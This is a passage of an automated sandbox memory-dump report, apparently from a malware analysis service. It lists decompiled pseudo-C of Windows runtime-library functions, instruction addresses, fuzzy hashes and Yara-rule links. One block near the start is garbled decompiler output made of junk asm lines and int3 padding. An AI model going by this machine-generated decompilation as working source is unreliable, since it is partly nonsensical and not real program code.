										__esi = __eax;
										_v68 = __eax;
										goto L10;
									}
								}
								goto L108;
							case 4:
								__ebx = __ebx + 4;
								goto L14;
							case 5:
								_t267 = _v56;
								if(_v56 != 0) {
									_t306 =  &_v36;
									_t269 = E00C12E3E(_t267,  &_v36);
									_t281 = _v36;
									_v76 = _t269;
								}
								if(_t281 == 0) {
									goto L44;
								} else {
									_t271 = _t271 + 2 + _t281;
								}
								goto L14;
							case 6:
								__eax =  *0xcd5764 & 0x0000ffff;
								goto L53;
							case 7:
								__eax =  *0xcd8478 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = _a8;
								if(_a8 != 0) {
									__ebx = __ebx + 0x16;
									__ebx = __ebx + __eax;
								}
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0xcd8478;
									L80:
									_v32 = __eax;
								}
								goto L14;
							case 8:
								__eax =  *0xcd6e58 & 0x0000ffff;
								__eax = ( *0xcd6e58 & 0x0000ffff) + 2;
								L53:
								__ebx = __ebx + __eax;
								L14:
								_t317 = _t317 + 1;
								if(_t317 >= _v48) {
									goto L16;
								} else {
									_t306 = _v37;
									goto L1;
								}
								goto L108;
						}
					}
					L56:
					_t286 = 0x25;
					asm("int 0x29");
					asm("out 0x28, al");
					asm("rol dword [eax], 0x66");
					_t235 = _t234 + _t234;
					asm("daa");
					asm("rol dword [eax], 0x2e");
					asm("rol dword [es:eax], 0x46");
					 *0x1f00c126 =  *0x1f00c126 + _t235;
					asm("lds eax, [eax]");
					_t236 = _t332;
					 *0x200c55b =  *0x200c55b + _t306;
					 *((intOrPtr*)(_t236 - 0x9ff3ed8)) =  *((intOrPtr*)(_t236 - 0x9ff3ed8)) + _t236;
					asm("daa");
					asm("rol dword [eax], 0x1e");
					 *((intOrPtr*)(_t324 + 0x28)) =  *((intOrPtr*)(_t324 + 0x28)) + _t286 - _t234 - _t235 - _t236 - _t236 - _t236;
					asm("rol dword [eax], 0x5d");
					asm("daa");
					asm("rol dword [eax], 0xd8");
					_pop(_t277);
					asm("lds eax, [eax]");
					asm("rol dword [eax], 0x34");
					_pop(_t335);
					asm("lds eax, [eax]");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(0x20);
					_push(0xcbff00);
					E00C3D08C(_t277, _t319, _t324);
					_v44 =  *[fs:0x18];
					_t320 = 0;
					 *_a24 = 0;
					_t278 = _a12;
					__eflags = _t278;
					if(_t278 == 0) {
						_t240 = 0xc0000100;
					} else {
						_v8 = 0;
						_t327 = 0xc0000100;
						_v52 = 0xc0000100;
						_t242 = 4;
						while(1) {
							_v40 = _t242;
							__eflags = _t242;
							if(_t242 == 0) {
								break;
							}
							_t296 = _t242 * 0xc;
							_v48 = _t296;
							__eflags = _t278 -  *((intOrPtr*)(_t296 + 0xbc1664));
							if(__eflags <= 0) {
								if(__eflags == 0) {
									_t257 = E00C2E5C0(_a8,  *((intOrPtr*)(_t296 + 0xbc1668)), _t278);
									_t335 = _t335 + 0xc;
									__eflags = _t257;
									if(__eflags == 0) {
										_t327 = E00C651BE(_t278,  *((intOrPtr*)(_v48 + 0xbc166c)), _a16, _t320, _t327, __eflags, _a20, _a24);
										_v52 = _t327;
										break;
									} else {
										_t242 = _v40;
										goto L62;
									}
									goto L70;
								} else {
									L62:
									_t242 = _t242 - 1;
									continue;
								}
							}
							break;
						}
						_v32 = _t327;
						__eflags = _t327;
						if(_t327 < 0) {
							__eflags = _t327 - 0xc0000100;
							if(_t327 == 0xc0000100) {
								_t292 = _a4;
								__eflags = _t292;
								if(_t292 != 0) {
									_v36 = _t292;
									__eflags =  *_t292 - _t320;
									if( *_t292 == _t320) {
										_t327 = 0xc0000100;
										goto L76;
									} else {
										_t308 =  *((intOrPtr*)(_v44 + 0x30));
										_t244 =  *((intOrPtr*)(_t308 + 0x10));
										__eflags =  *((intOrPtr*)(_t244 + 0x48)) - _t292;
										if( *((intOrPtr*)(_t244 + 0x48)) == _t292) {
											__eflags =  *(_t308 + 0x1c);
											if( *(_t308 + 0x1c) == 0) {
												L106:
												_t327 = E00C12AE4( &_v36, _a8, _t278, _a16, _a20, _a24);
												_v32 = _t327;
												__eflags = _t327 - 0xc0000100;
												if(_t327 != 0xc0000100) {
													goto L69;
												} else {
													_t320 = 1;
													_t292 = _v36;
													goto L75;
												}
											} else {
												_t247 = E00BF6600( *(_t308 + 0x1c));
												__eflags = _t247;
												if(_t247 != 0) {
													goto L106;
												} else {
													_t292 = _a4;
													goto L75;
												}
											}
										} else {
											L75:
											_t327 = E00C12C50(_t292, _a8, _t278, _a16, _a20, _a24, _t320);
											L76:
											_v32 = _t327;
											goto L69;
										}
									}
									goto L108;
								} else {
									E00BFEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
									_v8 = 1;
									_v36 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v44 + 0x30)) + 0x10)) + 0x48));
									_t327 = _a24;
									_t254 = E00C12AE4( &_v36, _a8, _t278, _a16, _a20, _t327);
									_v32 = _t254;
									__eflags = _t254 - 0xc0000100;
									if(_t254 == 0xc0000100) {
										_v32 = E00C12C50(_v36, _a8, _t278, _a16, _a20, _t327, 1);
									}
									_v8 = _t320;
									E00C12ACB();
								}
							}
						}
						L69:
						_v8 = 0xfffffffe;
						_t240 = _t327;
					}
					L70:
					return E00C3D0D1(_t240);
				}
				L108:
			}

0x00c12584
0x00c12586
0x00c12590
0x00c12596
0x00c12597
0x00c12598
0x00c12599
0x00c1259e
0x00c125a4
0x00c125a9
0x00c125ac
0x00c125ae
0x00c125b1
0x00c125b2
0x00c125b5
0x00c125b8
0x00c125bb
0x00c125bc
0x00c125bf
0x00c125c2
0x00c125c5
0x00c125c6
0x00c125cb
0x00c125ce
0x00c125d8
0x00c125dd
0x00c125de
0x00c125e1
0x00c125e3
0x00c125e9
0x00c126da
0x00c126da
0x00c126dd
0x00c126e2
0x00c55b56
0x00000000
0x00c126e8
0x00c126f9
0x00c126fb
0x00c126fe
0x00c12700
0x00c55b60
0x00000000
0x00c12706
0x00c12706
0x00c1270a
0x00c1270a
0x00c1270d
0x00c12713
0x00c12716
0x00c12718
0x00c1271c
0x00c1271e
0x00c55b6c
0x00c55b6f
0x00c55b7f
0x00c55b89
0x00c55b8e
0x00c55b93
0x00c55b96
0x00c55b9c
0x00c55ba0
0x00c55ba3
0x00c55bab
0x00c55bb0
0x00c55bb3
0x00c55bb3
0x00c55ba3
0x00c12724
0x00c12726
0x00c12729
0x00c1272c
0x00c1279d
0x00c1279d
0x00c127a0
0x00c127a2
0x00000000
0x00c1272e
0x00c1272e
0x00c12731
0x00c12734
0x00c12734
0x00c12736
0x00c55bc1
0x00c55bc1
0x00c55bc4
0x00000000
0x00c55bca
0x00c55bca
0x00c55bcd
0x00000000
0x00c55bd3
0x00000000
0x00c55bd3
0x00c55bcd
0x00c1273c
0x00c1273c
0x00c12742
0x00c12747
0x00c1274a
0x00c1274d
0x00c12750
0x00000000
0x00c12756
0x00c12756
0x00000000
0x00c12902
0x00c12908
0x00c1290b
0x00000000
0x00c12911
0x00c1291c
0x00c12921
0x00000000
0x00c12921
0x00000000
0x00000000
0x00c12880
0x00c12887
0x00c1288c
0x00000000
0x00000000
0x00c12805
0x00c1280a
0x00c12814
0x00c12816
0x00000000
0x00000000
0x00c1281e
0x00c12821
0x00c12823
0x00000000
0x00c12829
0x00c12829
0x00c12831
0x00c1283c
0x00c1283e
0x00000000
0x00c1283e
0x00000000
0x00000000
0x00c1284e
0x00c12850
0x00c12851
0x00c12854
0x00c12857
0x00c1285a
0x00c1285c
0x00c1285d
0x00000000
0x00000000
0x00c1275d
0x00c12761
0x00000000
0x00c12767
0x00c1276e
0x00c12773
0x00c12773
0x00c12776
0x00c12778
0x00c1277e
0x00c1277e
0x00c12781
0x00c12781
0x00c12783
0x00c12784
0x00000000
0x00000000
0x00c55bd8
0x00c55bde
0x00c55be4
0x00c55be6
0x00c55be8
0x00c55be9
0x00c55bee
0x00c55bf8
0x00c55bff
0x00c55c01
0x00c55c04
0x00c55c07
0x00c55c0b
0x00c55c0d
0x00c55c0d
0x00c55c15
0x00c55c18
0x00c55c1b
0x00c55c1b
0x00c55c1e
0x00000000
0x00000000
0x00c128c3
0x00c128c8
0x00c128d2
0x00c128d4
0x00c128d8
0x00c128db
0x00c55c26
0x00c55c28
0x00c55c2d
0x00c55c2d
0x00000000
0x00000000
0x00c55c34
0x00c55c36
0x00c55c49
0x00c55c4e
0x00c55c54
0x00c55c5b
0x00c55c5d
0x00c55c60
0x00c12788
0x00c12788
0x00c1278b
0x00c1278e
0x00c1278e
0x00c1278e
0x00c12791
0x00000000
0x00000000
0x00c12756
0x00c12750
0x00000000
0x00c12794
0x00c12794
0x00c12795
0x00c12798
0x00c12798
0x00000000
0x00c12734
0x00c1272c
0x00c12700
0x00c125ef
0x00c125ef
0x00c125ef
0x00c125f2
0x00c125f8
0x00000000
0x00000000
0x00c125fe
0x00000000
0x00c128e6
0x00c128ec
0x00c128ef
0x00c128f5
0x00c128f8
0x00c128f8
0x00000000
0x00c128f8
0x00000000
0x00000000
0x00c12866
0x00c12866
0x00c12876
0x00c12879
0x00000000
0x00000000
0x00c127e0
0x00c127e7
0x00c127e9
0x00c127eb
0x00c55afd
0x00000000
0x00c55afd
0x00000000
0x00000000
0x00c12633
0x00c12638
0x00c1263b
0x00c1263c
0x00c1263e
0x00c12640
0x00c12642
0x00c12647
0x00c12649
0x00c1264e
0x00c12650
0x00c12653
0x00c12659
0x00c126a2
0x00c126a7
0x00c126ac
0x00c126b2
0x00c55b11
0x00c55b15
0x00c55b17
0x00000000
0x00c126b8
0x00c126b8
0x00c126ba
0x00c127a6
0x00c127a6
0x00c127a9
0x00c127ab
0x00c127b9
0x00c127b9
0x00c127be
0x00c127c1
0x00c127c3
0x00c127c5
0x00c127c7
0x00c55c74
0x00c55c79
0x00c55c79
0x00c127c7
0x00000000
0x00c126c0
0x00c126c0
0x00c126c3
0x00c126c6
0x00c126c6
0x00c126c9
0x00c126c9
0x00000000
0x00c126c9
0x00c126ba
0x00c1265b
0x00c1265b
0x00c1265e
0x00c12667
0x00c1266d
0x00c12677
0x00c1267c
0x00c1267f
0x00c12681
0x00c55b49
0x00c55b4e
0x00c127cd
0x00c127d0
0x00c127d1
0x00c127d2
0x00c127d4
0x00c127dd
0x00c12687
0x00c12687
0x00c1268a
0x00c1268b
0x00c1268e
0x00c1268f
0x00c12691
0x00c12696
0x00c12698
0x00c1269d
0x00c1269f
0x00000000
0x00c1269f
0x00c12681
0x00000000
0x00000000
0x00c12846
0x00000000
0x00000000
0x00c12605
0x00c1260a
0x00c1260c
0x00c12611
0x00c12616
0x00c12619
0x00c12619
0x00c1261e
0x00000000
0x00c12624
0x00c12627
0x00c12627
0x00000000
0x00000000
0x00c55b1f
0x00000000
0x00000000
0x00c12894
0x00c1289b
0x00c1289d
0x00c128a1
0x00c55b2b
0x00c55b2e
0x00c55b2e
0x00c128a7
0x00c128a9
0x00c55b04
0x00c55b09
0x00c55b09
0x00c55b09
0x00000000
0x00000000
0x00c55b35
0x00c55b3c
0x00c128fb
0x00c128fb
0x00c126cc
0x00c126cc
0x00c126d0
0x00000000
0x00c126d2
0x00c126d2
0x00000000
0x00c126d2
0x00000000
0x00000000
0x00c125fe
0x00c1292d
0x00c1292f
0x00c12930
0x00c12935
0x00c12937
0x00c1293c
0x00c1293e
0x00c1293f
0x00c12942
0x00c12948
0x00c1294f
0x00c12951
0x00c12954
0x00c1295c
0x00c12962
0x00c12963
0x00c12968
0x00c1296b
0x00c1296e
0x00c1296f
0x00c12972
0x00c12973
0x00c12977
0x00c1297a
0x00c1297b
0x00c1297d
0x00c1297e
0x00c1297f
0x00c12980
0x00c12981
0x00c12982
0x00c12983
0x00c12984
0x00c12985
0x00c12986
0x00c12987
0x00c12988
0x00c12989
0x00c1298a
0x00c1298b
0x00c1298c
0x00c1298d
0x00c1298e
0x00c1298f
0x00c12990
0x00c12992
0x00c12997
0x00c129a3
0x00c129a6
0x00c129ab
0x00c129ad
0x00c129b0
0x00c129b2
0x00c55c80
0x00c129b8
0x00c129b8
0x00c129bb
0x00c129c0
0x00c129c5
0x00c129c6
0x00c129c6
0x00c129c9
0x00c129cb
0x00000000
0x00000000
0x00c129cd
0x00c129d0
0x00c129d9
0x00c129db
0x00c129dd
0x00c12a7f
0x00c12a84
0x00c12a87
0x00c12a89
0x00c55ca1
0x00c55ca3
0x00000000
0x00c12a8f
0x00c12a8f
0x00000000
0x00c12a8f
0x00000000
0x00c129e3
0x00c129e3
0x00c129e3
0x00000000
0x00c129e3
0x00c129dd
0x00000000
0x00c129db
0x00c129e6
0x00c129e9
0x00c129eb
0x00c129ed
0x00c129f3
0x00c129f5
0x00c129f8
0x00c129fa
0x00c12a97
0x00c12a9a
0x00c12a9d
0x00c12add
0x00000000
0x00c12a9f
0x00c12aa2
0x00c12aa5
0x00c12aa8
0x00c12aab
0x00c55cab
0x00c55caf
0x00c55cc5
0x00c55cda
0x00c55cdc
0x00c55cdf
0x00c55ce5
0x00000000
0x00c55ceb
0x00c55ced
0x00c55cee
0x00000000
0x00c55cee
0x00c55cb1
0x00c55cb4
0x00c55cb9
0x00c55cbb
0x00000000
0x00c55cbd
0x00c55cbd
0x00000000
0x00c55cbd
0x00c55cbb
0x00c12ab1
0x00c12ab1
0x00c12ac4
0x00c12ac6
0x00c12ac6
0x00000000
0x00c12ac6
0x00c12aab
0x00000000
0x00c12a00
0x00c12a09
0x00c12a0e
0x00c12a21
0x00c12a24
0x00c12a35
0x00c12a3a
0x00c12a3d
0x00c12a42
0x00c12a59
0x00c12a59
0x00c12a5c
0x00c12a5f
0x00c12a5f
0x00c129fa
0x00c129f3
0x00c12a64
0x00c12a64
0x00c12a6b
0x00c12a6b
0x00c12a6d
0x00c12a72
0x00c12a72
0x00000000

Strings

PATH, xrefs: 00C12642, 00C12691

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: PATH
API String ID: 0-1036084923
Opcode ID: cc5dfb1c4b421750e58d4f974303da9bdabaa328822d98bfc6a2b4e71ff29ab2
Instruction ID: 6ab1a41082a87951848863b3927032391b28ce9a98366dfca6d49f2d0a54a4e6
Opcode Fuzzy Hash: cc5dfb1c4b421750e58d4f974303da9bdabaa328822d98bfc6a2b4e71ff29ab2
Instruction Fuzzy Hash: F0C1C079D00219DBCB14DF99D891BEEB7B1FF49700F144029F911AB2A0D734ADA5EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00BE2D8A, Relevance: 1.4, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00BE2D8A(void* __ebx, signed char __ecx, signed int __edx, signed int __edi) {
				signed char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v52;
				void* __esi;
				void* __ebp;
				intOrPtr _t55;
				signed int _t57;
				signed int _t58;
				char* _t62;
				signed char* _t63;
				signed char* _t64;
				signed int _t67;
				signed int _t72;
				signed int _t77;
				signed int _t78;
				signed int _t88;
				intOrPtr _t89;
				signed char _t93;
				signed int _t97;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				intOrPtr _t104;
				signed int _t105;
				signed int _t106;
				signed char _t109;
				signed int _t111;
				void* _t116;

				_t102 = __edi;
				_t97 = __edx;
				_v12 = _v12 & 0x00000000;
				_t55 =  *[fs:0x18];
				_t109 = __ecx;
				_v8 = __edx;
				_t86 = 0;
				_v32 = _t55;
				_v24 = 0;
				_push(__edi);
				if(__ecx == 0xcd5350) {
					_t86 = 1;
					_v24 = 1;
					 *((intOrPtr*)(_t55 + 0xf84)) = 1;
				}
				_t103 = _t102 | 0xffffffff;
				if( *0xcd7bc8 != 0) {
					_push(0xc000004b);
					_push(_t103);
					E00C297C0();
				}
				if( *0xcd79c4 != 0) {
					_t57 = 0;
				} else {
					_t57 = 0xcd79c8;
				}
				_v16 = _t57;
				if( *((intOrPtr*)(_t109 + 0x10)) == 0) {
					_t93 = _t109;
					L23();
				}
				_t58 =  *_t109;
				if(_t58 == _t103) {
					__eflags =  *(_t109 + 0x14) & 0x01000000;
					_t58 = _t103;
					if(__eflags == 0) {
						_t93 = _t109;
						E00C11624(_t86, __eflags);
						_t58 =  *_t109;
					}
				}
				_v20 = _v20 & 0x00000000;
				if(_t58 != _t103) {
					 *((intOrPtr*)(_t58 + 0x14)) =  *((intOrPtr*)(_t58 + 0x14)) + 1;
				}
				_t104 =  *((intOrPtr*)(_t109 + 0x10));
				_t88 = _v16;
				_v28 = _t104;
				L9:
				while(1) {
					if(E00C07D50() != 0) {
						_t62 = ( *[fs:0x30])[0x50] + 0x228;
					} else {
						_t62 = 0x7ffe0382;
					}
					if( *_t62 != 0) {
						_t63 =  *[fs:0x30];
						__eflags = _t63[0x240] & 0x00000002;
						if((_t63[0x240] & 0x00000002) != 0) {
							_t93 = _t109;
							E00C7FE87(_t93);
						}
					}
					if(_t104 != 0xffffffff) {
						_push(_t88);
						_push(0);
						_push(_t104);
						_t64 = E00C29520();
						goto L15;
					} else {
						while(1) {
							_t97 =  &_v8;
							_t64 = E00C1E18B(_t109 + 4, _t97, 4, _t88, 0);
							if(_t64 == 0x102) {
								break;
							}
							_t93 =  *(_t109 + 4);
							_v8 = _t93;
							if((_t93 & 0x00000002) != 0) {
								continue;
							}
							L15:
							if(_t64 == 0x102) {
								break;
							}
							_t89 = _v24;
							if(_t64 < 0) {
								L00C3DF30(_t93, _t97, _t64);
								_push(_t93);
								_t98 = _t97 | 0xffffffff;
								__eflags =  *0xcd6901;
								_push(_t109);
								_v52 = _t98;
								if( *0xcd6901 != 0) {
									_push(0);
									_push(1);
									_push(0);
									_push(0x100003);
									_push( &_v12);
									_t72 = E00C29980();
									__eflags = _t72;
									if(_t72 < 0) {
										_v12 = _t98 | 0xffffffff;
									}
								}
								asm("lock cmpxchg [ecx], edx");
								_t111 = 0;
								__eflags = 0;
								if(0 != 0) {
									__eflags = _v12 - 0xffffffff;
									if(_v12 != 0xffffffff) {
										_push(_v12);
										E00C295D0();
									}
								} else {
									_t111 = _v12;
								}
								return _t111;
							} else {
								if(_t89 != 0) {
									 *((intOrPtr*)(_v32 + 0xf84)) = 0;
									_t77 = E00C07D50();
									__eflags = _t77;
									if(_t77 == 0) {
										_t64 = 0x7ffe0384;
									} else {
										_t64 = ( *[fs:0x30])[0x50] + 0x22a;
									}
									__eflags =  *_t64;
									if( *_t64 != 0) {
										_t64 =  *[fs:0x30];
										__eflags = _t64[0x240] & 0x00000004;
										if((_t64[0x240] & 0x00000004) != 0) {
											_t78 = E00C07D50();
											__eflags = _t78;
											if(_t78 == 0) {
												_t64 = 0x7ffe0385;
											} else {
												_t64 = ( *[fs:0x30])[0x50] + 0x22b;
											}
											__eflags =  *_t64 & 0x00000020;
											if(( *_t64 & 0x00000020) != 0) {
												_t64 = E00C67016(0x1483, _t97 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
											}
										}
									}
								}
								return _t64;
							}
						}
						_t97 = _t88;
						_t93 = _t109;
						E00C7FDDA(_t97, _v12);
						_t105 =  *_t109;
						_t67 = _v12 + 1;
						_v12 = _t67;
						__eflags = _t105 - 0xffffffff;
						if(_t105 == 0xffffffff) {
							_t106 = 0;
							__eflags = 0;
						} else {
							_t106 =  *(_t105 + 0x14);
						}
						__eflags = _t67 - 2;
						if(_t67 > 2) {
							__eflags = _t109 - 0xcd5350;
							if(_t109 != 0xcd5350) {
								__eflags = _t106 - _v20;
								if(__eflags == 0) {
									_t93 = _t109;
									E00C7FFB9(_t88, _t93, _t97, _t106, _t109, __eflags);
								}
							}
						}
						_push("RTL: Re-Waiting\n");
						_push(0);
						_push(0x65);
						_v20 = _t106;
						E00C75720();
						_t104 = _v28;
						_t116 = _t116 + 0xc;
						continue;
					}
				}
			}

0x00be2d8a
0x00be2d8a
0x00be2d92
0x00be2d96
0x00be2d9e
0x00be2da0
0x00be2da3
0x00be2da5
0x00be2da8
0x00be2dab
0x00be2db2
0x00c3f9aa
0x00c3f9ab
0x00c3f9ae
0x00c3f9ae
0x00be2db8
0x00be2dc2
0x00c3f9b9
0x00c3f9be
0x00c3f9bf
0x00c3f9bf
0x00be2dcf
0x00c3f9c9
0x00be2dd5
0x00be2dd5
0x00be2dd5
0x00be2dde
0x00be2de1
0x00be2e70
0x00be2e72
0x00be2e72
0x00be2de7
0x00be2deb
0x00be2e7c
0x00be2e83
0x00be2e85
0x00be2e8b
0x00be2e8d
0x00be2e92
0x00be2e92
0x00be2e85
0x00be2df1
0x00be2df7
0x00be2df9
0x00be2df9
0x00be2dfc
0x00be2dff
0x00be2e02
0x00000000
0x00be2e05
0x00be2e0c
0x00c3f9d9
0x00be2e12
0x00be2e12
0x00be2e12
0x00be2e1a
0x00c3f9e3
0x00c3f9e9
0x00c3f9f0
0x00c3f9f6
0x00c3f9f8
0x00c3f9f8
0x00c3f9f0
0x00be2e23
0x00c3fa02
0x00c3fa03
0x00c3fa05
0x00c3fa06
0x00000000
0x00be2e29
0x00be2e29
0x00be2e2e
0x00be2e34
0x00be2e3e
0x00000000
0x00000000
0x00be2e44
0x00be2e47
0x00be2e4d
0x00000000
0x00000000
0x00be2e4f
0x00be2e54
0x00000000
0x00000000
0x00be2e5a
0x00be2e5f
0x00be2e9a
0x00be2ea4
0x00be2ea5
0x00be2ea8
0x00be2eaf
0x00be2eb2
0x00be2eb5
0x00c3fae9
0x00c3faeb
0x00c3faed
0x00c3faef
0x00c3faf7
0x00c3faf8
0x00c3fafd
0x00c3faff
0x00c3fb04
0x00c3fb04
0x00c3faff
0x00be2ec0
0x00be2ec4
0x00be2ec6
0x00be2ec8
0x00c3fb14
0x00c3fb18
0x00c3fb1e
0x00c3fb21
0x00c3fb21
0x00be2ece
0x00be2ece
0x00be2ece
0x00be2ed7
0x00be2e61
0x00be2e63
0x00c3fa6b
0x00c3fa71
0x00c3fa76
0x00c3fa78
0x00c3fa8a
0x00c3fa7a
0x00c3fa83
0x00c3fa83
0x00c3fa8f
0x00c3fa91
0x00c3fa97
0x00c3fa9d
0x00c3faa4
0x00c3faaa
0x00c3faaf
0x00c3fab1
0x00c3fac3
0x00c3fab3
0x00c3fabc
0x00c3fabc
0x00c3fac8
0x00c3facb
0x00c3fadf
0x00c3fadf
0x00c3facb
0x00c3faa4
0x00c3fa91
0x00be2e6f
0x00be2e6f
0x00be2e5f
0x00c3fa13
0x00c3fa15
0x00c3fa17
0x00c3fa1f
0x00c3fa21
0x00c3fa22
0x00c3fa25
0x00c3fa28
0x00c3fa2f
0x00c3fa2f
0x00c3fa2a
0x00c3fa2a
0x00c3fa2a
0x00c3fa31
0x00c3fa34
0x00c3fa36
0x00c3fa3c
0x00c3fa3e
0x00c3fa41
0x00c3fa43
0x00c3fa45
0x00c3fa45
0x00c3fa41
0x00c3fa3c
0x00c3fa4a
0x00c3fa4f
0x00c3fa51
0x00c3fa53
0x00c3fa56
0x00c3fa5b
0x00c3fa5e
0x00000000
0x00c3fa5e
0x00be2e23

Strings

RTL: Re-Waiting, xrefs: 00C3FA4A

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: RTL: Re-Waiting
API String ID: 0-316354757
Opcode ID: e68341c8d05eb88c8ed660b3b56191808c4c462263f87a087e48bddc5fc438b7
Instruction ID: cf728cc1b0f87aabe138d5d477e41909f99260b70cf7dc688cbadf19bc0cdddc
Opcode Fuzzy Hash: e68341c8d05eb88c8ed660b3b56191808c4c462263f87a087e48bddc5fc438b7
Instruction Fuzzy Hash: 5D614431E00684AFDB31DF69C881B7E77E8EB44710F244ABAE925972D1C7749E02E791

Uniqueness

Uniqueness Score: -1.00%

Function 00CB0EA5, Relevance: 1.4, Strings: 1, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00CB0EA5(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				unsigned int _v32;
				signed int _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v64;
				void* __ebx;
				void* __edi;
				signed int _t58;
				unsigned int _t60;
				intOrPtr _t62;
				char* _t67;
				char* _t69;
				void* _t80;
				void* _t83;
				intOrPtr _t93;
				intOrPtr _t115;
				char _t117;
				void* _t120;

				_t83 = __edx;
				_t117 = 0;
				_t120 = __ecx;
				_v44 = 0;
				if(E00CAFF69(__ecx,  &_v44,  &_v32) < 0) {
					L24:
					_t109 = _v44;
					if(_v44 != 0) {
						E00CB1074(_t83, _t120, _t109, _t117, _t117);
					}
					L26:
					return _t117;
				}
				_t93 =  *((intOrPtr*)(__ecx + 0x3c));
				_t5 = _t83 + 1; // 0x1
				_v36 = _t5 << 0xc;
				_v40 = _t93;
				_t58 =  *(_t93 + 0xc) & 0x40000000;
				asm("sbb ebx, ebx");
				_t83 = ( ~_t58 & 0x0000003c) + 4;
				if(_t58 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t93);
					_push(0xffffffff);
					_t80 = E00C29730();
					_t115 = _v64;
					if(_t80 < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t115) {
						_push(_t93);
						E00CAA80D(_t115, 1, _v20, _t117);
						_t83 = 4;
					}
				}
				if(E00CAA854( &_v44,  &_v36, _t117, 0x40001000, _t83, _t117,  *((intOrPtr*)(_t120 + 0x34)),  *((intOrPtr*)(_t120 + 0x38))) < 0) {
					goto L24;
				}
				_t60 = _v32;
				_t97 = (_t60 != 0x100000) + 1;
				_t83 = (_v44 -  *0xcd8b04 >> 0x14) + (_v44 -  *0xcd8b04 >> 0x14);
				_v28 = (_t60 != 0x100000) + 1;
				_t62 = _t83 + (_t60 >> 0x14) * 2;
				_v40 = _t62;
				if(_t83 >= _t62) {
					L10:
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					if(E00C07D50() == 0) {
						_t67 = 0x7ffe0380;
					} else {
						_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t67 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E00CA138A(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v36, 0xc);
					}
					if(E00C07D50() == 0) {
						_t69 = 0x7ffe0388;
					} else {
						_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t69 != 0) {
						E00C9FEC0(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v32);
					}
					if(( *0xcd8724 & 0x00000008) != 0) {
						E00CA52F8( *((intOrPtr*)(_t120 + 0x3c)),  *((intOrPtr*)(_t120 + 0x28)));
					}
					_t117 = _v44;
					goto L26;
				}
				while(E00CB15B5(0xcd8ae4, _t83, _t97, _t97) >= 0) {
					_t97 = _v28;
					_t83 = _t83 + 2;
					if(_t83 < _v40) {
						continue;
					}
					goto L10;
				}
				goto L24;
			}

0x00cb0eb7
0x00cb0eb9
0x00cb0ec0
0x00cb0ec2
0x00cb0ecd
0x00cb105b
0x00cb105b
0x00cb1061
0x00cb1066
0x00cb1066
0x00cb106b
0x00cb1073
0x00cb1073
0x00cb0ed3
0x00cb0ed6
0x00cb0edc
0x00cb0ee0
0x00cb0ee7
0x00cb0ef0
0x00cb0ef5
0x00cb0efa
0x00cb0efc
0x00cb0efd
0x00cb0f03
0x00cb0f04
0x00cb0f06
0x00cb0f07
0x00cb0f09
0x00cb0f0e
0x00cb0f14
0x00cb0f23
0x00cb0f2d
0x00cb0f34
0x00cb0f34
0x00cb0f14
0x00cb0f52
0x00000000
0x00000000
0x00cb0f58
0x00cb0f73
0x00cb0f74
0x00cb0f79
0x00cb0f7d
0x00cb0f80
0x00cb0f86
0x00cb0fab
0x00cb0fb5
0x00cb0fc6
0x00cb0fd1
0x00cb0fe3
0x00cb0fd3
0x00cb0fdc
0x00cb0fdc
0x00cb0feb
0x00cb1009
0x00cb1009
0x00cb1015
0x00cb1027
0x00cb1017
0x00cb1020
0x00cb1020
0x00cb102f
0x00cb103c
0x00cb103c
0x00cb1048
0x00cb1050
0x00cb1050
0x00cb1055
0x00000000
0x00cb1055
0x00cb0f88
0x00cb0f9e
0x00cb0fa2
0x00cb0fa9
0x00000000
0x00000000
0x00000000
0x00cb0fa9
0x00000000

Strings

`, xrefs: 00CB0F16

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: d446db39bce398dc3c85545e040f9e6fa3f1d33da63803634e454cb0c94ea9f5
Instruction ID: bfddba05e47c7e9293f0ea45dd88d7fb76cbac3b3314c0f99a47db1c472ec26c
Opcode Fuzzy Hash: d446db39bce398dc3c85545e040f9e6fa3f1d33da63803634e454cb0c94ea9f5
Instruction Fuzzy Hash: A551BC702043429FD324DF68D895B6BB7E5EBC4704F180A2DF99687291D730ED46CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00C1F0BF, Relevance: 1.4, Strings: 1, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00C1F0BF(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
